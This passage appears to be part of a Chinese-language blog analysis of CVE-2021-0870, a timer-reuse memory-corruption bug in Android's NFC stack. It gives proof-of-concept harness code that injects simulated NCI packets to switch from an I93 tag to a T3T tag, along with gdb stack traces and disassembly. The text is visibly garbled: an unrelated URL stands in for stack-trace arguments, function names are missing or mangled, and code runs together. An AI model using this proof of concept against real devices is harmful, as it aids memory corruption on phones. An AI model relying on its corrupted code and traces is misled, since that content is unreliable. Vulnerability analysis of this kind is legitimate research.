CVE-2021-0870 NFC竟也存在高危漏洞?看他如何分析( 五 )

) at ../src/nfc/tags/rw_i93.cc:740#30x0000000000618f82 in RW_I93DetectNDef () at ../src/nfc/tags/rw_i93.cc:3985#40x0000000000720e2e in nfa_rw_start_ndef_detection () at ../src/nfa/rw/nfa_rw_act.cc:1557#50x000000000071a76e in nfa_rw_read_ndef () at ../src/nfa/rw/nfa_rw_act.cc:1737#6nfa_rw_handle_op_req (p_data=http://www.kingceram.com/post/) at ../src/nfa/rw/nfa_rw_act.cc:2863#70x000000000070b144 in nfa_rw_handle_event (p_msg=) at ../src/nfa/rw/nfa_rw_main.cc:246#80x0000000000721df0 in nfa_sys_event (p_msg=) at ../src/nfa/sys/nfa_sys_main.cc:85
Part5
代码是:
g_callback_tracker->SimulatePacketArrival(NCI_MT_NTF, 0, NCI_GID_CORE, NCI_MSG_CORE_RESET, reset_core.data(),reset_core.size());std::vector deactivate_rf = {NFA_DEACTIVATE_TYPE_DISCOVERY, 0x1};g_callback_tracker->SimulatePacketArrival(NCI_MT_NTF, 0, NCI_GID_RF_MANAGE, NCI_MSG_RF_DEACTIVATE,deactivate_rf.data(), deactivate_rf.size());{std::unique_lock deactivated_lock(cv_mutex);deactivated_cv.wait(deactivated_lock);}
这段代码关闭了NFC,目的是从i93顺利切换到T3T。
Part 6
std::vector activate_another_rf = {/* disc_id */ 0x0, NFC_DISCOVERY_TYPE_LISTEN_F, NFC_PROTOCOL_T3T};for (int i = 0; i < 70; i++) {activate_another_rf.push_back(0x2);}g_callback_tracker->SimulatePacketArrival(NCI_MT_NTF, 0, NCI_GID_RF_MANAGE, NCI_MSG_RF_INTF_ACTIVATED,activate_another_rf.data(), activate_another_rf.size());{std::unique_lock t3t_get_system_codes_lock(cv_mutex);t3t_get_system_codes_cv.wait(t3t_get_system_codes_lock);}NFA_Disable(true);{std::unique_lock nfa_disable_lock(cv_mutex);nfa_disable_cv.wait(nfa_disable_lock);}
part5中从I93 tag中读取了数据,并且启动定时器,我们必须在定时器过期前立即调用pe通知NFCC终止立即I93 Tag,并激活T3T Tag 。
g_callback_tracker->SimulatePacketArrival(NCI_MT_NTF,0,NCI_GID_RF_MANAGE,NCI_MSG_RF_INTF_ACTIVATED,activate_another_rf.data(),activate_another_rf.size());
就调用了pe,
pe 代码为:
tNFC_STATUS RW_SetActivatedTagType(tNFC_ACTIVATE_DEVT* p_activate_params,tRW_CBACK* p_cback) {...memset(&rw_cb.tcb, 0, sizeof(tRW_TCB));...
原来从一个状态切换到另一个状态的方法是调用(&rw_cb.tcb,0,())将TCB控制块全部置零清空,虽然看起来没错,但是把控制块清空并不等价于将上个状态的上下文被全部重置,他忽略了之前启动的定时器此时仍在工作,但新的tag也会启动自己的定时器,并改写TCB中相同偏移的数据 。
TCB是被复用的,我们使用而非free,说明状态切换后,这块内存仍然存放的是TCB,所以此时系统里会出现两个定时器改写同一地址的情景 。
以下是T3T tag下定时器向TCB中写入数据时代码:
2367*p_b = rw_t3t_mrti_base[e] * b; /* (B+1) * base (i.e T/t3t * 4^E) */
汇编是:
1: x/5i $pc=> 0x5de2a3 <_Z13rw_t3t_selectPhhh+787>:mov%r12d,%eax0x5de2a6 <_Z13rw_t3t_selectPhhh+790>:shr$0x6,%al0x5de2a9 <_Z13rw_t3t_selectPhhh+793>:movzbl %al,%eax0x5de2ac <_Z13rw_t3t_selectPhhh+796>:lea0x813de0(,%rax,4),%rdi0x5de2b4 <_Z13rw_t3t_selectPhhh+804>:mov%rdi,%rax
调用栈是:
#0rw_t3t_select (peer_nfcid2=, mrti_check=, mrti_update=) at ../src/nfc/tags/rw_t3t.cc:2393#10x000000000067ab9b in RW_SetActivatedTagType (p_activate_params=, p_cback=) at ../src/nfc/tags/rw_main.cc:290#20x00000000007153fd in nfa_rw_activate_ntf (p_data=http://www.kingceram.com/post/) at ../src/nfa/rw/nfa_rw_act.cc:2630#30x000000000070b144 in nfa_rw_handle_event (p_msg=) at ../src/nfa/rw/nfa_rw_main.cc:246#40x000000000070a710 in nfa_rw_proc_disc_evt (event=1 '\001', p_data=http://www.kingceram.com/post/, excl_rf_not_active=) at ../src/nfa/rw/nfa_rw_main.cc:184#50x00000000006b243d in nfa_dm_poll_disc_cback (event=